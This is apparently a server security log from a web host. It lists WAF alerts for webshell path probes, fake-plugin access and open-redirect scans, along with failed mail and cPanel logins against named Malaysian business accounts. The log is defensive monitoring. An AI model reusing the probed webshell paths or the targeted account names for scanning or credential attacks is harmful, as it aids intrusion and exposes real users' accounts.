name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.142
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/css/main.min.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.155
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/mdi-font/fonts/Material-Design-Iconic-Fontd1f1.woff2?v=2.2.0 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.138
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/font-awesome-5/css/fontawesome-all.min.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.134
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/bootstrap-4.1/bootstrap.min.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 16:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:16264: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.14.31.158
country_id: 3017382
description:
2026-01-30 16:47:21 dovecot_login authenticator failed for H=laubervilliers-657-1-93-158.w80-14.abo.wanadoo.fr [80.14.31.158]:42549: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-01-30 16:47:28 dovecot_login authenticator failed for H=(217-29-30-135.saimanet.kg) [217.29.30.135]:55350: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 43.224.108.170
country_id: 1210997
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/index.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.150
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/themify-font/themify-icons.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/mdi-font/css/material-design-iconic-font.min.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.131
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/slick/slick.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/img/demos/vendor/jquery-cookie/clientele.php||SC:/home2/pspolycom/public_html/js/master||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/css/poppins-font.min.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.136
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/revolution/css/navigation.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/fonts/poppins/poppins-v5-latin-300.woff2 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.140
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/fonts/poppins/poppins-v5-latin-700.woff2 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-30 16:47:58 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:48384: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/img/photos/js/demos/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-01-30 16:48:11 dovecot_login authenticator failed for H=([103.130.207.227]) [103.130.207.227]:33840: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-30 16:48:21 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:33188: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.225.203.106
country_id: 1814991
description:
2026-01-30 16:48:28 dovecot_login authenticator failed for H=([122.225.203.106]) [122.225.203.106]:17027: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 16:48:30 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:44672: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 16:48:07 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:49886: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/vendor/modernizr/master/style-switcher/contact-us.php||SC:/home2/pspolycom/public_html/js/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 16:49:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:54761: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.98
country_id: 1269750
description:
2026-01-30 16:49:03 dovecot_login authenticator failed for H=([182.95.215.114]) [125.23.183.98]:55800: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.163
country_id: 99237
description:
2026-01-30 16:50:10 dovecot_login authenticator failed for H=([65.20.250.163]) [65.20.250.163]:42667: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-01-30 16:50:55 dovecot_plain authenticator failed for H=(gatingly) [12.150.243.22]:57170: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/isotope/img/photos/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-01-30 16:50:08 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:51926: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.35.58
country_id: 2510769
domain: mail.tujusetia.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/tuju7822/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.75.110
country_id: 1149361
description:
2026-01-30 16:50:37 dovecot_login authenticator failed for H=([180.94.75.110]) [180.94.75.110]:46457: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/js/views/img/demos/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/js||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-30 16:51:58 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:36678: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/demos/vendor/jquery/contact-us.php||SC:/home2/pspolycom/public_html/js/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.158.35.58
country_id: 2510769
domain: mail.tujusetia.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/tuju7822/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.85.104.2
country_id: 6252001
description:
2026-01-30 16:52:37 dovecot_plain authenticator failed for H=(peaticate) [96.85.104.2]:47232: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.64.94
country_id: 3469034
description:
2026-01-30 16:53:05 dovecot_login authenticator failed for H=([189.108.156.41]) [187.8.64.94]:48465: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/bootstrap/js/img/news.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-30 16:54:49 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:54480: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/bootstrap/js/img/photos/master/style-switcher/new-development.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-30 16:54:31 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:35286: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.241.177.249
country_id: 3469034
description:
2026-01-30 16:54:39 dovecot_login authenticator failed for H=(ADMIN) [188.241.177.249]:1740: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 16:55:46 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:16864: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 16:55:48 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:48287: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/demos/vendor/common/product.php||SC:/home2/pspolycom/public_html/js/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-30 16:55:34 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:53720: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 16:55:12 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:52515: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 16:55:53 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:38042: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.8.48.178
country_id: 1605651
description:
2026-01-30 16:56:11 dovecot_login authenticator failed for H=ppp-58-8-48-178.revip2.asianet.co.th [58.8.48.178]:47080: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.246.43
country_id: 1814991
description:
2026-01-30 16:56:28 dovecot_login authenticator failed for H=([220.178.246.43]) [220.178.246.43]:51885: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.137.60.152
country_id: 1733045
description:
[2026-01-30 16:56:44 +0800] info [webmaild] 175.137.60.152 - sge@ajplantations.com.my "POST /cpsess0581167390/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [175.137.60.225] != Current IP Address [175.137.60.152]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/jquery/img/photos/index.php||SC:/home2/pspolycom/public_html/js/master||


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.162.118
country_id: 1814991
domain: www.oxbold.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.52.119.193
country_id: 6252001
description:
2026-01-30 16:57:53 dovecot_plain authenticator failed for H=c-68-52-119-193.hsd1.tn.comcast.net (wookambed) [68.52.119.193]:38818: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.31.148
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.23.174
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.163.185
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.82.138
country_id: 1814991
domain: www.oxbold.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.141.233.184
country_id: 1814991
description:
2026-01-30 16:57:54 dovecot_login authenticator failed for H=([117.141.233.184]) [117.141.233.184]:51034: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.5.164.196
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.30.109
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.69
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.16.17
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.188.85
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.98.61.154
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/modernizr/img/photos/index.php||SC:/home2/pspolycom/public_html/js/master||


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.165.36
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.5.166.214
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.16.26
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/news-n-events/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.88.159
country_id: 1814991
domain: www.oxbold.com
description:


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.lazyload/img/demos/master/style-switcher/index.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.48.25.24
country_id: 6252001
description:
[2026-01-30 16:58:10 +0800] info [cpaneld] 86.48.25.24 - usfood "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user usfood (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.11.10
country_id: 2017370
description:
2026-01-30 16:58:03 dovecot_login authenticator failed for H=([213.234.11.10]) [213.234.11.10]:39408: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/img/photos/img/photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/img/photos/vendor/modernizr/news.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.91.97.193
country_id: 2750405
description:
2026-01-30 16:59:37 dovecot_login authenticator failed for H=193.97.91.34.bc.googleusercontent.com (10.164.0.2) [34.91.97.193]:49487: 535 Incorrect authentication data (set_id=hrd@kendek.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.easy-pie-chart/img/demos/master/style-switcher/news.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/bootstrap/js/img/product.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.254.54
country_id: 1269750
description:
2026-01-30 17:01:18 dovecot_login authenticator failed for H=([128.185.254.54]) [128.185.254.54]:44242: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.31.154
country_id: 1269750
description:
2026-01-30 17:01:38 dovecot_login authenticator failed for H=([103.251.31.154]) [103.251.31.154]:46316: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.238.2.7
country_id: 3469034
description:
2026-01-30 17:01:29 dovecot_login authenticator failed for H=45-238-2-7.netmaisfibra.net.br [45.238.2.7]:41604: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-01-30 17:01:30 dovecot_login authenticator failed for H=([182.95.119.30]) [182.95.119.30]:48624: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.146.93.14
country_id: 1668284
description:
2026-01-30 17:01:54 dovecot_login authenticator failed for H=(122-146-93-14.adsl.static.sparqnet.net) [122.146.93.14]:52296: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
country_id: 2623032
description:
2026-01-30 17:02:03 dovecot_login authenticator failed for H=(84-238-92-245.ptr.bnaa.dk) [84.238.92.245]:59576: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.easy-pie-chart/img/demos/master/style-switcher/about.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77350392
name: IM360 WAF: Interaction with fake plugin
abuser: 89.251.0.147
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoplugins/db.php?u||WPU:||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 89.251.0.147
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/pwnd.php||WPU:||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.16.201.52
country_id: 1814991
description:
2026-01-30 17:03:53 dovecot_login authenticator failed for H=([58.16.201.52]) [58.16.201.52]:41982: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/magnific-popup/img/photos/master/style-switcher/new-development.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 89.251.0.147
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Block interaction with malicious plugin||RSV:7.69||T:APACHE||SC:/home/ajpl3424/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.251.0.137
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ajpl3424/public_html/wp-admin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.48.224
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=307874 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 89.251.0.137
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ajpl3424/public_html/wp-includes||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.251.0.147
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/ajpl3424/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.251.0.143
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/uploads/file.php||SC:/home/ajpl3424/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.251.0.115
country_id: 6251999
domain: ajplantations.com.my
description:
